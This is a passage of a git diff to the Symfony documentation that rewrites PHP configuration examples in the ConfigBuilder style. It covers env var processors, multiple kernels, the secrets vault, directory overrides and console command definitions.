+    return static function (SecurityConfig $security) {
+        $security->firewall('main')
+            ->pattern('^/*')
+            ->lazy(true)
+            ->anonymous();
+
+        $security
+            ->roleHierarchy('ROLE_ADMIN', ['ROLE_USER'])
+            ->roleHierarchy('ROLE_SUPER_ADMIN', ['ROLE_ADMIN', 'ROLE_ALLOWED_TO_SWITCH'])
+            ->accessControl()
+                ->path('^/user')
+                ->role('ROLE_USER');
+
+        $security->accessControl(['path' => '^/admin', 'roles' => 'ROLE_ADMIN']);
+    };
+
+.. note::
+
+    Only root classes in the namespace ``Symfony\Config`` are ConfigBuilders.
+    Nested configs (e.g. ``\Symfony\Config\Framework\CacheConfig``) are regular
+    PHP objects which aren't autowired when using them as an argument type.
+
 Keep Going!
 -----------
 
diff --git a/configuration/dot-env-changes.rst b/configuration/dot-env-changes.rst
index 89844d991b1..6679600e908 100644
--- a/configuration/dot-env-changes.rst
+++ b/configuration/dot-env-changes.rst
@@ -56,16 +56,16 @@ changes can be made to any Symfony 3.4 or higher app:
 
    .. code-block:: diff
 
-       # .gitignore
-       # ...
+         # .gitignore
+         # ...
 
-       ###> symfony/framework-bundle ###
+         ###> symfony/framework-bundle ###
        - /.env
        + /.env.local
        + /.env.local.php
        + /.env.*.local
 
-       # ...
+         # ...
 
 #. Rename ``.env`` to ``.env.local`` and ``.env.dist`` to ``.env``:
 
@@ -85,7 +85,7 @@ changes can be made to any Symfony 3.4 or higher app:
    and update your `phpunit.xml.dist file`_ so it loads the ``tests/bootstrap.php``
    file.
 
-.. _`public/index.php`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.1/public/index.php
+.. _`public/index.php`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.2/public/index.php
 .. _`bin/console`: https://github.com/symfony/recipes/blob/master/symfony/console/5.1/bin/console
 .. _`comment on the top of .env`: https://github.com/symfony/recipes/blob/master/symfony/flex/1.0/.env
 .. _`create a new .env.test`: https://github.com/symfony/recipes/blob/master/symfony/phpunit-bridge/3.3/.env.test
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 464bf7af984..5a2b2f98775 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -44,11 +44,15 @@ processor to turn the value of the ``HTTP_PORT`` env var into an integer:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'router' => [
-                'http_port' => '%env(int:HTTP_PORT)%',
-            ],
-        ]);
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->router()
+                ->httpPort(env('HTTP_PORT')->int())
+            ;
+        };
 
 Built-In Environment Variable Processors
 ----------------------------------------
@@ -90,10 +94,15 @@ Symfony provides the following env var processors:
         .. code-block:: php
 
             // config/packages/framework.php
-            $container->setParameter('env(SECRET)', 'some_secret');
-            $container->loadFromExtension('framework', [
-                'secret' => '%env(string:SECRET)%',
-            ]);
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use Symfony\Component\DependencyInjection\ContainerBuilder;
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(SECRET)', 'some_secret');
+                $framework->secret(env('SECRET')->string());
+            };
 
 ``env(bool:FOO)``
     Casts ``FOO`` to a bool (``true`` values are ``'true'``, ``'on'``, ``'yes'``
@@ -131,10 +140,55 @@ Symfony provides the following env var processors:
         .. code-block:: php
 
             // config/packages/framework.php
-            $container->setParameter('env(HTTP_METHOD_OVERRIDE)', 'true');
-            $container->loadFromExtension('framework', [
-                'http_method_override' => '%env(bool:HTTP_METHOD_OVERRIDE)%',
-            ]);
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use Symfony\Component\DependencyInjection\ContainerBuilder;
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(HTTP_METHOD_OVERRIDE)', 'true');
+                $framework->httpMethodOverride(env('HTTP_METHOD_OVERRIDE')->bool());
+            };
+
+``env(not:FOO)``
+
+    .. versionadded:: 5.3
+
+        The ``not:`` env var processor was introduced in Symfony 5.3.
+
+    Casts ``FOO`` to a bool (just as ``env(bool:...)`` does) except it returns the inverted value
+    (falsy values are returned as ``true``, truthy values are returned as ``false``):
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services.yaml
+            parameters:
+                safe_for_production: '%env(not:APP_DEBUG)%'
+
+        .. code-block:: xml
+
+            <!-- config/services.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:framework="http://symfony.com/schema/dic/symfony"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/symfony
+                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+                <parameters>
+                    <parameter key="safe_for_production">%env(not:APP_DEBUG)%</parameter>
+                </parameters>
+
+            </container>
+
+        .. code-block:: php
+
+            // config/services.php
+            $container->setParameter('safe_for_production', '%env(not:APP_DEBUG)%');
 
 ``env(int:FOO)``
     Casts ``FOO`` to an int.
@@ -180,15 +234,15 @@ Symfony provides the following env var processors:
         .. code-block:: php
 
             // config/packages/security.php
-            $container->setParameter('env(HEALTH_CHECK_METHOD)', 'Symfony\Component\HttpFoundation\Request::METHOD_HEAD');
-            $container->loadFromExtension('security', [
-                'access_control' => [
-                    [
-                        'path' => '^/health-check$',
-                        'methods' => '%env(const:HEALTH_CHECK_METHOD)%',
-                    ],
-                ],
-            ]);
+            use Symfony\Component\DependencyInjection\ContainerBuilder;
+            use Symfony\Config\SecurityConfig;
+
+            return static function (ContainerBuilder $container, SecurityConfig $security) {
+                $container->setParameter('env(HEALTH_CHECK_METHOD)', 'Symfony\Component\HttpFoundation\Request::METHOD_HEAD');
+                $security->accessControl()
+                    ->path('^/health-check$')
+                    ->methods(['%env(const:HEALTH_CHECK_METHOD)%']);
+            };
 
 ``env(base64:FOO)``
     Decodes the content of ``FOO``, which is a base64 encoded string.
@@ -229,10 +283,15 @@ Symfony provides the following env var processors:
         .. code-block:: php
 
             // config/packages/framework.php
-            $container->setParameter('env(TRUSTED_HOSTS)', '["10.0.0.1", "10.0.0.2"]');
-            $container->loadFromExtension('framework', [
-                'trusted_hosts' => '%env(json:TRUSTED_HOSTS)%',
-            ]);
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use Symfony\Component\DependencyInjection\ContainerBuilder;
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(TRUSTED_HOSTS)', '["10.0.0.1", "10.0.0.2"]');
+                $framework->trustedHosts(env('TRUSTED_HOSTS')->json());
+            };
 
 ``env(resolve:FOO)``
     If the content of ``FOO`` includes container parameters (with the syntax
@@ -281,12 +340,47 @@ Symfony provides the following env var processors:
 ``env(csv:FOO)``
     Decodes the content of ``FOO``, which is a CSV-encoded string:
 
-    .. code-block:: yaml
+    .. configuration-block::
 
-        parameters:
-            env(TRUSTED_HOSTS): "10.0.0.1, 10.0.0.2"
-        framework:
-           trusted_hosts: '%env(csv:TRUSTED_HOSTS)%'
+        .. code-block:: yaml
+
+            # config/packages/framework.yaml
+            parameters:
+                env(TRUSTED_HOSTS): "10.0.0.1,10.0.0.2"
+            framework:
+               trusted_hosts: '%env(csv:TRUSTED_HOSTS)%'
+
+        .. code-block:: xml
+
+            <!-- config/packages/framework.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:framework="http://symfony.com/schema/dic/symfony"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/symfony
+                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+                <parameters>
+                    <parameter key="env(TRUSTED_HOSTS)">10.0.0.1,10.0.0.2</parameter>
+                </parameters>
+
+                <framework:config trusted-hosts="%env(csv:TRUSTED_HOSTS)%"/>
+            </container>
+
+        .. code-block:: php
+
+            // config/packages/framework.php
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use Symfony\Component\DependencyInjection\ContainerBuilder;
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(TRUSTED_HOSTS)', '10.0.0.1,10.0.0.2');
+                $framework->trustedHosts(env('TRUSTED_HOSTS')->csv());
+            };
 
 ``env(file:FOO)``
     Returns the contents of a file whose path is the value of the ``FOO`` env var:
@@ -366,7 +460,7 @@ Symfony provides the following env var processors:
             // config/packages/framework.php
             $container->setParameter('env(PHP_FILE)', '../config/.runtime-evaluated.php');
             $container->loadFromExtension('app', [
-                'auth' => '%env(require:AUTH_FILE)%',
+                'auth' => '%env(require:PHP_FILE)%',
             ]);
 
 ``env(trim:FOO)``
@@ -509,9 +603,9 @@ Symfony provides the following env var processors:
                 clients:
                     default:
                         hosts:
-                            - { host: '%env(key:host:url:MONGODB_URL)%', port: '%env(key:port:url:MONGODB_URL)%' }
-                        username: '%env(key:user:url:MONGODB_URL)%'
-                        password: '%env(key:pass:url:MONGODB_URL)%'
+                            - { host: '%env(string:key:host:url:MONGODB_URL)%', port: '%env(int:key:port:url:MONGODB_URL)%' }
+                        username: '%env(string:key:user:url:MONGODB_URL)%'
+                        password: '%env(string:key:pass:url:MONGODB_URL)%'
                 connections:
                     default:
                         database_name: '%env(key:path:url:MONGODB_URL)%'
@@ -526,8 +620,8 @@ Symfony provides the following env var processors:
                     https://symfony.com/schema/dic/services/services-1.0.xsd">
 
                 <mongodb:config>
-                    <mongodb:client name="default" username="%env(key:user:url:MONGODB_URL)%" password="%env(key:pass:url:MONGODB_URL)%">
-                        <mongodb:host host="%env(key:host:url:MONGODB_URL)%" port="%env(key:port:url:MONGODB_URL)%"/>
+                    <mongodb:client name="default" username="%env(string:key:user:url:MONGODB_URL)%" password="%env(string:key:pass:url:MONGODB_URL)%">
+                        <mongodb:host host="%env(string:key:host:url:MONGODB_URL)%" port="%env(int:key:port:url:MONGODB_URL)%"/>
                     </mongodb:client>
                     <mongodb:connections name="default" database_name="%env(key:path:url:MONGODB_URL)%"/>
                 </mongodb:config>
@@ -541,12 +635,12 @@ Symfony provides the following env var processors:
                     'default' => [
                         'hosts' => [
                             [
-                                'host' => '%env(key:host:url:MONGODB_URL)%',
-                                'port' => '%env(key:port:url:MONGODB_URL)%',
+                                'host' => '%env(string:key:host:url:MONGODB_URL)%',
+                                'port' => '%env(int:key:port:url:MONGODB_URL)%',
                             ],
                         ],
-                        'username' => '%env(key:user:url:MONGODB_URL)%',
-                        'password' => '%env(key:pass:url:MONGODB_URL)%',
+                        'username' => '%env(string:key:user:url:MONGODB_URL)%',
+                        'password' => '%env(string:key:pass:url:MONGODB_URL)%',
                     ],
                 ],
                 'connections' => [
@@ -609,16 +703,54 @@ Symfony provides the following env var processors:
 
 It is also possible to combine any number of processors:
 
-.. code-block:: yaml
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        parameters:
+            env(AUTH_FILE): "%kernel.project_dir%/config/auth.json"
+        google:
+            # 1. gets the value of the AUTH_FILE env var
+            # 2. replaces the values of any config param to get the config path
+            # 3. gets the content of the file stored in that path
+            # 4. JSON-decodes the content of the file and returns it
+            auth: '%env(json:file:resolve:AUTH_FILE)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <parameters>
+                <parameter key="env(AUTH_FILE)">%kernel.project_dir%/config/auth.json</parameter>
+            </parameters>
 
-    parameters:
-        env(AUTH_FILE): "%kernel.project_dir%/config/auth.json"
-    google:
-        # 1. gets the value of the AUTH_FILE env var
-        # 2. replaces the values of any config param to get the config path
-        # 3. gets the content of the file stored in that path
-        # 4. JSON-decodes the content of the file and returns it
-        auth: '%env(json:file:resolve:AUTH_FILE)%'
+            <!-- 1. gets the value of the AUTH_FILE env var -->
+            <!-- 2. replaces the values of any config param to get the config path -->
+            <!-- 3. gets the content of the file stored in that path -->
+            <!-- 4. JSON-decodes the content of the file and returns it -->
+            <google auth="%env(json:file:resolve:AUTH_FILE)%"/>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->setParameter('env(AUTH_FILE)', '%kernel.project_dir%/config/auth.json');
+        // 1. gets the value of the AUTH_FILE env var
+        // 2. replaces the values of any config param to get the config path
+        // 3. gets the content of the file stored in that path
+        // 4. JSON-decodes the content of the file and returns it
+        $container->loadFromExtension('google', [
+            'auth' => '%env(json:file:resolve:AUTH_FILE)%',
+        ]);
 
 Custom Environment Variable Processors
 --------------------------------------
diff --git a/configuration/front_controllers_and_kernel.rst b/configuration/front_controllers_and_kernel.rst
index fe3c8179ed0..81e2e33a004 100644
--- a/configuration/front_controllers_and_kernel.rst
+++ b/configuration/front_controllers_and_kernel.rst
@@ -190,10 +190,13 @@ parameter used, for example, to turn Twig's debug mode on:
 
     .. code-block:: php
 
-        $container->loadFromExtension('twig', [
-            'debug' => '%kernel.debug%',
+        // config/packages/twig.php
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-        ]);
+            $twig->debug('%kernel.debug%');
+        };
 
 The Environments
 ----------------
@@ -248,13 +251,12 @@ includes the following:
     The cached "service container" that represents the cached application
     configuration.
 
-``UrlGenerator.php``
-    The PHP class generated from the routing configuration and used when
-    generating URLs.
+``url_generating_routes.php``
+    The cached routing configuration used when generating URLs.
 
-``UrlMatcher.php``
-    The PHP class used for route matching - look here to see the compiled regular
-    expression logic used to match incoming URLs to different routes.
+``url_matching_routes.php``
+    The cached configuration used for route matching - look here to see the compiled
+    regular expression logic used to match incoming URLs to different routes.
 
 ``twig/``
     This directory contains all the cached Twig templates.
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 890f60d1ca8..66e9aae2bbe 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -234,12 +234,15 @@ because the configuration started to get bigger:
     .. code-block:: php
 
         // config/framework.php
-        $container->loadFromExtension('framework', [
-            'secret' => 'S0ME_SECRET',
-            'profiler' => [
-                'only_exceptions' => false,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework
+                ->secret('SOME_SECRET')
+                ->profiler()
+                    ->onlyExceptions(false)
+            ;
+        };
 
 This also loads annotation routes from an ``src/Controller/`` directory, which
 has one file in it::
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index a0069b9be4b..80d799085e9 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -82,25 +82,15 @@ Kernel. Be sure to also change the location of the cache, logs and configuration
 files so they don't collide with the files from ``src/Kernel.php``::
 
     // src/ApiKernel.php
-    use Symfony\Component\Config\Loader\LoaderInterface;
-    use Symfony\Component\DependencyInjection\ContainerBuilder;
-    use Symfony\Component\HttpKernel\Kernel;
+    use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
+    use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
     class ApiKernel extends Kernel
     {
         use MicroKernelTrait;
 
-        public function registerBundles()
-        {
-            // load only the bundles strictly needed for the API
-            $contents = require $this->getProjectDir().'/config/api_bundles.php';
-            foreach ($contents as $class => $envs) {
-                if ($envs[$this->environment] ?? $envs['all'] ?? false) {
-                    yield new $class();
-                }
-            }
-        }
-
         public function getProjectDir(): string
         {
             return \dirname(__DIR__);
@@ -108,7 +98,7 @@ files so they don't collide with the files from ``src/Kernel.php``::
 
         public function getCacheDir(): string
         {
-            return $this->getProjectDir().'/var/cache/api/'.$this->getEnvironment();
+            return $this->getProjectDir().'/var/cache/api/'.$this->environment;
         }
 
         public function getLogDir(): string
@@ -116,25 +106,39 @@ files so they don't collide with the files from ``src/Kernel.php``::
             return $this->getProjectDir().'/var/log/api';
         }
 
-        public function configureContainer(ContainerBuilder $container, LoaderInterface $loader)
+        protected function configureContainer(ContainerConfigurator $container): void
         {
-            $container->addResource(new FileResource($this->getProjectDir().'/config/api_bundles.php'));
-            $container->setParameter('container.dumper.inline_factories', true);
-            $confDir = $this->getProjectDir().'/config/api';
-
-            $loader->load($confDir.'/{packages}/*'.self::CONFIG_EXTS, 'glob');
-            $loader->load($confDir.'/{packages}/'.$this->environment.'/*'.self::CONFIG_EXTS, 'glob');
-            $loader->load($confDir.'/{services}'.self::CONFIG_EXTS, 'glob');
-            $loader->load($confDir.'/{services}_'.$this->environment.self::CONFIG_EXTS, 'glob');
+            $container->import('../config/api/{packages}/*.yaml');
+            $container->import('../config/api/{packages}/'.$this->environment.'/*.yaml');
+
+            if (is_file(\dirname(__DIR__).'/config/api/services.yaml')) {
+                $container->import('../config/api/services.yaml');
+                $container->import('../config/api/{services}_'.$this->environment.'.yaml');
+            } else {
+                $container->import('../config/api/{services}.php');
+            }
         }
 
-        protected function configureRoutes(RouteCollectionBuilder $routes): void
+        protected function configureRoutes(RoutingConfigurator $routes): void
         {
-            $confDir = $this->getProjectDir().'/config/api';
+            $routes->import('../config/api/{routes}/'.$this->environment.'/*.yaml');
+            $routes->import('../config/api/{routes}/*.yaml');
             // ... load only the config routes strictly needed for the API
         }
+
+        // If you need to run some logic to decide which bundles to load,
+        // you might prefer to use the registerBundles() method instead
+        private function getBundlesPath(): string
+        {
+            // load only the bundles strictly needed for the API
+            return $this->getProjectDir().'/config/api_bundles.php';
+        }
     }
 
+.. versionadded:: 5.4
+
+    The ``getBundlesPath()`` method was introduced in Symfony 5.4.
+
 Step 3) Define the Kernel Configuration
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 46a17e71351..46c60967f30 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -25,7 +25,58 @@ override it to create your own structure:
     │  ├─ cache/
     │  ├─ log/
     │  └─ ...
-    └─ vendor/
+    ├─ vendor/
+    └─ .env
+
+.. _override-env-dir:
+
+Override the Environment (DotEnv) Files Directory
+-------------------------------------------------
+
+By default, the :ref:`.env configuration file <config-dot-env>` is located at
+the root directory of the project. If you store it in a different location,
+define the ``runtime.dotenv_path`` option in the ``composer.json`` file:
+
+.. code-block:: json
+
+    {
+        "...": "...",
+        "extra": {
+            "...": "...",
+            "runtime": {
+                "dotenv_path": "my/custom/path/to/.env"
+            }
+        }
+    }
+
+Then, update your Composer files (running ``composer update``, for instance),
+so that the ``vendor/autoload_runtime.php`` files gets regenerated with the new
+``.env`` path.
+
+You can also set up different ``.env`` paths for your console and web server
+calls. Edit the ``public/index.php`` and/or ``bin/console`` files to define the
+new file path.
+
+Console script::
+
+    // bin/console
+
+    // ...
+    $_SERVER['APP_RUNTIME_OPTIONS']['dotenv_path'] = 'some/custom/path/to/.env';
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+    // ...
+
+Web front-controller::
+
+    // public/index.php
+    
+    // ...
+    $_SERVER['APP_RUNTIME_OPTIONS']['dotenv_path'] = 'another/custom/path/to/.env';
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+    // ...
+
 
 .. _override-config-dir:
 
@@ -85,7 +136,7 @@ your application::
     // src/Kernel.php
 
     // ...
-    class Kernel extends Kernel
+    class Kernel extends BaseKernel
     {
         // ...
 
@@ -117,12 +168,12 @@ for multiple directories):
         # config/packages/twig.yaml
         twig:
             # ...
-            default_path: "%kernel.project_dir%//resources/views"
+            default_path: "%kernel.project_dir%/resources/views"
 
     .. code-block:: xml
 
         <!-- config/packages/twig.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:twig="http://symfony.com/schema/dic/twig"
@@ -140,9 +191,11 @@ for multiple directories):
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'default_path' => '%kernel.project_dir%/resources/views',
-        ]);
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->defaultPath('%kernel.project_dir%/resources/views');
+        };
 
 Override the Translations Directory
 -----------------------------------
@@ -164,7 +217,7 @@ configuration option to define your own translations directory (use :ref:`framew
     .. code-block:: xml
 
         <!-- config/packages/translation.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:twig="http://symfony.com/schema/dic/twig"
@@ -184,11 +237,13 @@ configuration option to define your own translations directory (use :ref:`framew
     .. code-block:: php
 
         // config/packages/translation.php
-        $container->loadFromExtension('framework', [
-            'translator' => [
-                'default_path' => '%kernel.project_dir%/i18n',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->translator()
+                ->defaultPath('%kernel.project_dir%/i18n')
+            ;
+        };
 
 .. _override-web-dir:
 .. _override-the-web-directory:
@@ -238,7 +293,7 @@ option in your ``composer.json`` file like this:
         "config": {
             "bin-dir": "bin",
             "vendor-dir": "/some/dir/vendor"
-        },
+        }
     }
 
 .. tip::
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 696ce519682..950f68528a3 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -48,7 +48,7 @@ running:
 
 .. code-block:: terminal
 
-    $ php bin/console secrets:generate-keys --env=prod
+    $ APP_RUNTIME_ENV=prod php bin/console secrets:generate-keys
 
 This will generate ``config/secrets/prod/prod.encrypt.public.php`` and
 ``config/secrets/prod/prod.decrypt.private.php``.
@@ -78,7 +78,7 @@ Suppose you want to store your database password as a secret. By using the
     $ php bin/console secrets:set DATABASE_PASSWORD
 
     # set your production value
-    $ php bin/console secrets:set DATABASE_PASSWORD --env=prod
+    $ APP_RUNTIME_ENV=prod php bin/console secrets:set DATABASE_PASSWORD
 
 This will create a new file for the secret in ``config/secrets/dev`` and another
 in ``config/secrets/prod``. You can also set the secret in a few other ways:
@@ -94,6 +94,11 @@ in ``config/secrets/prod``. You can also set the secret in a few other ways:
     # or let Symfony generate a random value for you
     $ php bin/console secrets:set REMEMBER_ME --random
 
+.. note::
+
+    There's no command to rename secrets, so you'll need to create a new secret
+    and remove the old one.
+
 Referencing Secrets in Configuration Files
 ------------------------------------------
 
@@ -138,11 +143,14 @@ If you stored a ``DATABASE_PASSWORD`` secret, you can reference it by:
     .. code-block:: php
 
         // config/packages/doctrine.php
-        $container->loadFromExtension('doctrine', [
-            'dbal' => [
-                'password' => '%env(DATABASE_PASSWORD)%',
-            ]
-        ]);
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine) {
+            $doctrine->dbal()
+                ->connection('default')
+                    ->password('%env(DATABASE_PASSWORD)%')
+            ;
+        };
 
 The actual value will be resolved at runtime: container compilation and cache
 warmup don't need the **decryption key**.
@@ -208,9 +216,9 @@ Listing the secrets will now also display the local variable:
       DATABASE_PASSWORD   "dev value"   "root"
      ------------------- ------------- -------------
 
-Symfony also provides the ``secrets:decrypt-to-local`` command to decrypts
-all secrets and stores them in the local vault and ``secrets:encrypt-from-local``
-to encrypt all local secrets to the vault.
+Symfony also provides the ``secrets:decrypt-to-local`` command which decrypts
+all secrets and stores them in the local vault and the ``secrets:encrypt-from-local``
+command to encrypt all local secrets to the vault.
 
 Secrets in the test Environment
 -------------------------------
@@ -253,7 +261,7 @@ your secrets during deployment to the "local" vault:
 
 .. code-block:: terminal
 
-    $ php bin/console secrets:decrypt-to-local --force --env=prod
+    $ APP_RUNTIME_ENV=prod php bin/console secrets:decrypt-to-local --force
 
 This will write all the decrypted secrets into the ``.env.prod.local`` file.
 After doing this, the decryption key does *not* need to remain on the server(s).
@@ -305,13 +313,15 @@ The secrets system is enabled by default and some of its behavior can be configu
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'secrets' => [
-                // 'vault_directory' => '%kernel.project_dir%/config/secrets/%kernel.environment%',
-                // 'local_dotenv_file' => '%kernel.project_dir%/.env.%kernel.environment%.local',
-                // 'decryption_env_var' => 'base64:default::SYMFONY_DECRYPTION_SECRET',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->secrets()
+                // ->vaultDirectory('%kernel.project_dir%/config/secrets/%kernel.environment%')
+                // ->localDotenvFile('%kernel.project_dir%/.env.%kernel.environment%.local')
+                // ->decryptionEnvVar('base64:default::SYMFONY_DECRYPTION_SECRET')
+            ;
+        };
 
 
 .. _`libsodium`: https://pecl.php.net/package/libsodium
diff --git a/configuration/using_parameters_in_dic.rst b/configuration/using_parameters_in_dic.rst
index 730043af714..6bdf07ff886 100644
--- a/configuration/using_parameters_in_dic.rst
+++ b/configuration/using_parameters_in_dic.rst
@@ -77,16 +77,16 @@ Now, examine the results to see this closely:
         $container->loadFromExtension('my_bundle', [
                 'logging' => true,
                 // true, as expected
-            )
-        ];
+            ]
+        );
 
         $container->loadFromExtension('my_bundle', [
                 'logging' => "%kernel.debug%",
                 // true/false (depends on 2nd parameter of Kernel),
                 // as expected, because %kernel.debug% inside configuration
                 // gets evaluated before being passed to the extension
-            )
-        ];
+            ]
+        );
 
         $container->loadFromExtension('my_bundle');
         // passes the string "%kernel.debug%".
@@ -106,7 +106,7 @@ be injected with this parameter via the extension as follows::
     {
         private $debug;
 
-        public function  __construct($debug)
+        public function __construct($debug)
         {
             $this->debug = (bool) $debug;
         }
diff --git a/console.rst b/console.rst
index ec49f7bd2d2..36db72b0450 100644
--- a/console.rst
+++ b/console.rst
@@ -38,14 +38,14 @@ want a command to create a user::
         // the name of the command (the part after "bin/console")
         protected static $defaultName = 'app:create-user';
 
-        protected function configure()
+        protected function configure(): void
         {
             // ...
         }
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
-            // ... put here the code to run in your command
+            // ... put here the code to create the user
 
             // this method must return an integer number with the "exit status code"
             // of the command. You can also use these constants to make code more readable
@@ -57,6 +57,10 @@ want a command to create a user::
             // or return this if some error happened during the execution
             // (it's equivalent to returning int(1))
             // return Command::FAILURE;
+
+            // or return this to indicate incorrect command usage; e.g. invalid options
+            // or missing arguments (it's equivalent to returning int(2))
+            // return Command::INVALID
         }
     }
 
@@ -65,6 +69,10 @@ want a command to create a user::
     The ``Command::SUCCESS`` and ``Command::FAILURE`` constants were introduced
     in Symfony 5.1.
 
+.. versionadded:: 5.3
+
+    The ``Command::INVALID`` constant was introduced in Symfony 5.3
+
 Configuring the Command
 -----------------------
 
@@ -72,18 +80,37 @@ You can optionally define a description, help message and the
 :doc:`input options and arguments </console/input>`::
 
     // ...
-    protected function configure()
+    // the command description shown when running "php bin/console list"
+    protected static $defaultDescription = 'Creates a new user.';
+
+    // ...
+    protected function configure(): void
     {
         $this
-            // the short description shown while running "php bin/console list"
-            ->setDescription('Creates a new user.')
+            // If you don't like using the $defaultDescription static property,
+            // you can also define the short description using this method:
+            // ->setDescription('...')
 
-            // the full command description shown when running the command with
-            // the "--help" option
+            // the command help shown when running the command with the "--help" option
             ->setHelp('This command allows you to create a user...')
         ;
     }
 
+Defining the ``$defaultDescription`` static property instead of using the
+``setDescription()`` method allows to get the command description without
+instantiating its class. This makes the ``php bin/console list`` command run
+much faster.
+
+If you want to always run the ``list`` command fast, add the ``--short`` option
+to it (``php bin/console list --short``). This will avoid instantiating command
+classes, but it won't show any description for commands that use the
+``setDescription()`` method instead of the static property.
+
+.. versionadded:: 5.3
+
+    The ``$defaultDescription`` static property and the ``--short`` option
+    were introduced in Symfony 5.3.
+
 The ``configure()`` method is called automatically at the end of the command
 constructor. If your command defines its own constructor, set the properties
 first and then call to the parent constructor, to make those properties
@@ -107,7 +134,7 @@ available in the ``configure()`` method::
             parent::__construct();
         }
 
-        protected function configure()
+        protected function configure(): void
         {
             $this
                 // ...
@@ -143,7 +170,7 @@ The ``execute()`` method has access to the output stream to write messages to
 the console::
 
     // ...
-    protected function execute(InputInterface $input, OutputInterface $output)
+    protected function execute(InputInterface $input, OutputInterface $output): int
     {
         // outputs multiple lines to the console (adding "\n" at the end of each line)
         $output->writeln([
@@ -187,16 +214,24 @@ called "output sections". Create one or more of these sections when you need to
 clear and overwrite the output information.
 
 Sections are created with the
-:method:`Symfony\\Component\\Console\\Output\\ConsoleOutput::section` method,
-which returns an instance of
